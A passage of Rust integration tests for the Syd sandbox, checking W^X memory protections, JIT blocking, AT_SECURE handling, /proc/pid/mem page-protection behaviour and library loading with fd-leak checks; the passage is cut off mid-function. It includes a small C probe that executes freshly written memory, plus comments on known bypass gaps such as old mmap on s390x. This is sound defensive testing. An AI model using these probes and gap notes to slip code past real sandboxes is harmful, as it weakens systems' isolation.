fn test_syd_set_at_secure_default() -> TestResult {
    let status = syd()
        .p("off")
        .argv([&*SYD_AUX, "-s"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Check if AT_SECURE can be disabled with trace/allow_unsafe_libc:1.
fn test_syd_set_at_secure_unsafe() -> TestResult {
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .argv([&*SYD_AUX, "-s"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);
    Ok(())
}

// Check if AT_SECURE is off outside Syd.
fn test_syd_set_at_secure_off() -> TestResult {
    eprintln!("+ syd-aux -s");
    let status = std::process::Command::new(&*SYD_AUX)
        .arg("-s")
        .status()
        .expect("execute syd-aux");
    assert_status_not_ok!(status);

    Ok(())
}

// Check if we're able to set AT_SECURE regardless of the number of
// arguments.
fn test_syd_set_at_secure_max() -> TestResult {
    let mut syd = syd();
    syd.p("off");
    syd.argv([&*SYD_AUX, "-s"]);

    let lim = sysconf(SysconfVar::ARG_MAX)?.unwrap_or(0x20000);
    eprintln!("Maximum length of argument for exec is {lim}.");
    for _ in 0..lim.min(0x3000) {
        syd.arg("3");
    }

    let status = syd.status().expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if sysinfo(2) return is randomized.
fn test_syd_randomize_sysinfo() -> TestResult {
    skip_unless_available!("cmp", "tee");

    let syd_info = &SYD_INFO.to_string();
    let status = syd()
        .p("off")
        .argv(["sh", "-cex"])
        .arg(format!(
            r##"
{syd_info} | tee test-1.info
{syd_info} | tee test-2.info
exec cmp test-1.info test-2.info
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

// Check mmap: PROT_READ|PROT_EXEC with MAP_ANONYMOUS is killed.
fn test_syd_mmap_prot_read_exec_with_map_anonymous() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .do_("mmap_prot_read_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mmap_prot_read_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check mmap: PROT_WRITE|PROT_EXEC with MAP_ANONYMOUS is killed.
fn test_syd_mmap_prot_write_exec_with_map_anonymous() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .do_("mmap_prot_write_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mmap_prot_write_exec_with_map_anonymous", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_READ|PROT_EXEC with backing file.
fn test_syd_mmap_prot_read_exec_with_backing_file() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // We can allow access to the file specifically.
    // This fails with EBADF due to restrict_stack parsing ELF on mmap boundary.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EBADF);

    // We can allow access to the file specifically.
    // allow_unsafe_stack:1 skips ELF parsing at mmap boundary.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .m("trace/allow_unsafe_stack:1")
        .do_("mmap_prot_read_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_WRITE|PROT_EXEC with backing file.
fn test_syd_mmap_prot_write_exec_with_backing_file() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // We can allow access to the file specifically.
    // This will still get killed without allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // We can allow access to the file specifically.
    // This fails with EBADF due to restrict_stack parsing ELF on mmap boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EBADF);

    // We can allow access to the file specifically.
    // allow_unsafe_stack:1 skips ELF parsing at mmap boundary.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/mmap")
        .do_("mmap_prot_write_exec_with_backing_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

/// Check mmap: PROT_READ|PROT_EXEC with a writable FD, then try modifying the contents.
fn test_syd_mmap_prot_exec_rdwr_fd() -> TestResult {
    skip_if_strace!();
    // Layer 1: Memory-protection seccomp filters
    let status = syd()
        .p("off")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // Layer 2: restrict stack parsing ELF.
    // The data used by the test is not valid ELF.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EBADF);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EOWNERDEAD);

    // Check MDWE without our seccomp filters.
    // Ignore error ENOSYS as MDWE may not be supported.
    let status = syd()
        .env("SYD_TEST_DO_MDWE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        // FIXME: This breaks W^X!
        // See: https://bugzilla.kernel.org/show_bug.cgi?id=219227
        assert_status_code!(status, nix::libc::EOWNERDEAD);
    } else {
        eprintln!("MDWE is not supported, continuing...");
    }

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("trace/allow_unsafe_stack:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/mmap")
        .do_("mmap_prot_exec_rdwr_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Test if mmap(NULL, MMAP_FIXED) is killed.
fn test_syd_mmap_fixed_null() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .do_("mmap_fixed_null", NONE)
        .status()
        .expect("execute syd");
    if cfg!(target_arch = "s390x") {
        // old mmap:
        // Params are pointed to by arg[0], offset is in bytes.
        // This syscall bypasses our seccomp filter,
        // and there is nothing we can do about it due to
        // the pointer indirection involved.
        assert_status_code!(status, nix::libc::EPERM);
    } else {
        assert_status_sigsys!(status);
    }
    Ok(())
}

fn test_syd_mprotect_read_to_exec() -> TestResult {
    // mprotect PROT_EXEC a previously PROT_READ region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_read_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mprotect_read_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_read_to_write_exec() -> TestResult {
    // mprotect PROT_WRITE|PROT_EXEC a previously PROT_READ region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_read_to_write_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mprotect_read_to_write_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_write_to_exec() -> TestResult {
    // mprotect PROT_EXEC a previously PROT_WRITE region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_write_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mprotect_write_to_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mprotect_write_to_read_exec() -> TestResult {
    // mprotect PROT_READ|PROT_EXEC a previously PROT_WRITE region is killed.
    let status = syd()
        .p("off")
        .do_("mprotect_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // This restriction may be relaxed with allow_unsafe_memory:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .do_("mprotect_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check MDWE protections across mprotect boundary.
fn test_syd_mprotect_exe() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > mprotect.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    size_t ps = getpagesize();
    void *mem = mmap(NULL, ps, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
    if (mem == MAP_FAILED) {
        perror("mmap");
        return EXIT_FAILURE;
    }

    // Set a simple return instruction depending on architecture.
#if defined(__x86_64__)
    *(unsigned char *)mem = 0xC3;  // ret
#elif defined(__i386__)
    *(unsigned char *)mem = 0xC3;  // ret
#elif defined(__aarch64__)
    *(unsigned int *)mem = 0xD65F03C0;  // ret
#elif defined(__arm__)
    *(unsigned int *)mem = 0xE12FFF1E;  // bx lr
#elif defined(__riscv) && __riscv_xlen == 64
    *(unsigned int *)mem = 0x00008067;  // ret (jr ra in riscv64)
#elif defined(__powerpc__) || defined(__ppc__) || defined(__PPC__)
    *(unsigned int *)mem = 0x4e800020; // "blr" instruction for "branch to link register" (return)
#elif defined(__s390x__) || defined(__s390__)
    *(unsigned short *)mem = 0x07FE;  // "br %r15"
#elif defined(__loongarch64)
    *(unsigned int *)mem = 0x4C000020; // jirl zero, ra, 0
#elif defined(__m68k__)
    *(unsigned short *)mem = 0x4E75; // rts
#elif defined(__mips__)
    ((unsigned int *)mem)[0] = 0x03E00008; // jr ra
    ((unsigned int *)mem)[1] = 0x00000000; // nop
#elif defined(__sh__)
    ((unsigned short *)mem)[0] = 0x000B; // rts
    ((unsigned short *)mem)[1] = 0x0009; // nop
#else
#error "Unsupported architecture"
#endif

    // Attempt to set the memory executable.
    if (mprotect(mem, ps, PROT_READ | PROT_EXEC) != 0) {
        perror("mprotect");
        return EXIT_FAILURE;
    }

    // Try executing the code in the memory.
    void (*func)() = (void (*)())mem;
    func();

    return EXIT_SUCCESS;
}
EOF

cc -Wall -Wextra mprotect.c -o mprotect
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Default is kill process.
    let status = syd()
        .p("off")
        .argv(["./mprotect"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // allow_unsafe_memory:1 can relax this restriction.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .argv(["./mprotect"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Test if MDWE can be relaxed as expected.
fn test_syd_mprotect_jit() -> TestResult {
    skip_unless_available!("luajit", "sh");

    // Check if JIT is available for current architecture.
    let status = Command::new("sh")
        .arg("-cex")
        .arg("luajit -jon -e x=1")
        .status()
        .expect("check luajit");
    if !status.success() {
        eprintln!("LuaJIT cannot compile for current architecture, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip rest of the tests.
    }

    // Execute with default restrictions.
    // Expect LuaJIT to to be killed.
    let status = syd()
        .p("off")
        .argv(["luajit", "-e", "for i=1,1e5 do local a=i*2 end"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // Relax restrictions.
    // Expect LuaJIT to succeed.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .argv(["luajit", "-e", "for i=1,1e5 do local a=i*2 end"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_non_writable_linux() -> TestResult {
    skip_if_32bin_64host!();

    // This test checks page protections without cross memory attach.
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "stat_write_to_non_writable")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_non_writable_default() -> TestResult {
    skip_if_32bin_64host!();

    // The default access method process_vm_{read,write}v(2) should
    // honour page protections.
    // Note, this test must fail on a kernel built with the
    // CONFIG_CROSS_MEMORY_ATTACH disabled.
    // TODO: Check running kernel config by checking ENOSYS
    // to process_vm_readv(2)!.
    let status = syd()
        .p("off")
        .do_("stat_write_to_non_writable", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_non_writable_procmem() -> TestResult {
    skip_if_32bin_64host!();

    // The access method using /proc/pid/mem does not honour
    // page protections so technically Syd emulator process
    // can be confused into corrupting sandbox process memory
    // by writing to non-writable regions.
    let status = syd()
        .p("off")
        .m("trace/memory_access:1")
        .do_("stat_write_to_non_writable", NONE)
        .status()
        .expect("execute syd");
    // Note, we cannot rely on an exit value here,
    // as the process will likely crash but it may not.
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_read_exec_linux() -> TestResult {
    skip_if_32bin_64host!();

    // This test checks page protections without cross memory attach.
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "stat_write_to_read_exec")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_read_exec_default() -> TestResult {
    skip_if_32bin_64host!();

    // The default access method process_vm_{read,write}v(2) should
    // honour page protections.
    // Note, this test must fail on a kernel built with the
    // CONFIG_CROSS_MEMORY_ATTACH disabled.
    // TODO: Check running kernel config by checking ENOSYS
    // to process_vm_readv(2)!.
    let status = syd()
        .p("off")
        .do_("stat_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_read_exec_procmem() -> TestResult {
    skip_if_32bin_64host!();

    // The access method using /proc/pid/mem does not honour
    // page protections so technically Syd emulator process
    // can be confused into corrupting sandbox process memory
    // by writing to non-writable regions.
    let status = syd()
        .p("off")
        .m("trace/memory_access:1")
        .do_("stat_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    // Note, we cannot rely on an exit value here,
    // as the process will likely crash but it may not.
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_load_library() -> TestResult {
    skip_unless_available!("cc");

    // Write code.
    let code = r#"
#include <stdio.h>
#include <unistd.h>

__attribute__((constructor))
void syd_init(void)
{
    printf("library initialized at pid %d\n", getpid());
}

int syd_main(void)
{
    printf("library loaded at pid %d\n", getpid());
    return 42;
}
"#;
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }

    // Compile code.
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    // SYD_SKIP_SCMP=1 to avoid confining of the Syd main thread,
    // otherwise write(2) calls that are called from the library
    // constructor will risk getting killed.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, 42);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(()); // Skip rest of the tests.
    }

    // Try to load nonexisting library.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .p("off")
        .argv(["./nolib.so"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    // Try to load a library without the syd_main symbol.
    let code = r"int oops(void) { return 42; }";
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_load_library_noexec() -> TestResult {
    skip_unless_available!("cc");
    skip_unless_unshare!();

    // Write code.
    let code = r#"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void syd_init(void)
{
    printf("library initialized at pid %d\n", getpid());
}

int syd_main(void)
{
    printf("library loaded at pid %d\n", getpid());
    return 42;
}
"#;
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }

    // Compile code.
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    // SYD_SKIP_SCMP=1 to avoid confining of the Syd main thread,
    // otherwise write(2) calls that are called from the library
    // constructor will risk getting killed.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("bind+/:/:noexec")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_code!(status, 42);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_abort_after_load() -> TestResult {
    skip_unless_available!("cc");

    // Write code.
    let code = r#"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void syd_init(void)
{
    printf("library initialized at pid %d\n", getpid());
}

int syd_main(void)
{
    printf("library loaded at pid %d\n", getpid());
    abort();
}
"#;
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }

    // Compile code.
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    // SYD_SKIP_SCMP=1 to avoid confining of the Syd main thread,
    // otherwise write(2) calls that are called from the library
    // constructor will risk getting killed.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_aborted!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_abort_at_startup() -> TestResult {
    skip_unless_available!("cc");

    // Write code.
    let code = r#"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void syd_init(void)
{
    printf("library initialized at pid %d\n", getpid());
    abort(); // This takes down syd with it...
}

int syd_main(void)
{
    printf("library loaded at pid %d\n", getpid());
    return 42;
}
"#;
    {
        let mut file = File::create("load.c")?;
        write!(file, "{code}")?;
    }

    // Compile code.
    Command::new("cc")
        .args([
            "-Wall", "-Wextra", "load.c", "-shared", "-o", "load.so", "-fPIC",
        ])
        .status()?;

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    // SYD_SKIP_SCMP=1 to avoid confining of the Syd main thread,
    // otherwise write(2) calls that are called from the library
    // constructor will risk getting killed.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        let sign = status.signal().unwrap_or(0);
        assert!(
            matches!(sign, nix::libc::SIGABRT | nix::libc::SIGSEGV),
            "code:{code} status:{status:?}"
        );
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_check_fd_leaks_bare() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int syd_main(void) {
    DIR *dir;
    struct dirent *entry;
    int fd_leaks = 0, dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        return 127;
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        return 128;
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
    return fd_leaks;
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Ensure SYD_LOG_FD is not leaked as well.
    dup2(2, 256).unwrap();

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    // SYD_SKIP_SCMP=1 to avoid confining of the Syd main thread,
    // otherwise write(2) calls that are called from the library
    // constructor will risk getting killed.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .log_fd(256)
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_check_fd_leaks_wrap() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");
    skip_unless_unshare!();

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int syd_main(void) {
    DIR *dir;
    struct dirent *entry;
    int fd_leaks = 0, dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        return -1; // Return -1 in case of error
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        return -1; // Return -1 in case of error
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
    return fd_leaks;
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Ensure SYD_LOG_FD is not leaked as well.
    dup2(2, 256).unwrap();

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    // SYD_SKIP_SCMP=1 to avoid confining of the Syd main thread,
    // otherwise write(2) calls that are called from the library
    // constructor will risk getting killed.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .log_fd(256)
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_check_fd_leaks_init_bare() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int fd_leaks;

__attribute__((constructor))
void syd_init(void)
{
    DIR *dir;
    struct dirent *entry;
    int dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        fd_leaks = -1;
        return;
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        fd_leaks = -1;
        return;
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == 256) {
                printf("Ignoring log fd that is present in init stage\n");
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
}

int syd_main(void)
{
    if (fd_leaks > 0) {
        printf("Detected %d file descriptor leaks during init!\n", fd_leaks);
    } else {
        printf("No file descriptor leaks detected during init!\n");
    }
    return fd_leaks;
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Ensure SYD_LOG_FD is not leaked as well.
    dup2(2, 256).unwrap();

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    // SYD_SKIP_SCMP=1 to avoid confining of the Syd main thread,
    // otherwise write(2) calls that are called from the library
    // constructor will risk getting killed.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .log_fd(256)
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_load_library_check_fd_leaks_init_wrap() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");
    skip_unless_unshare!();

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
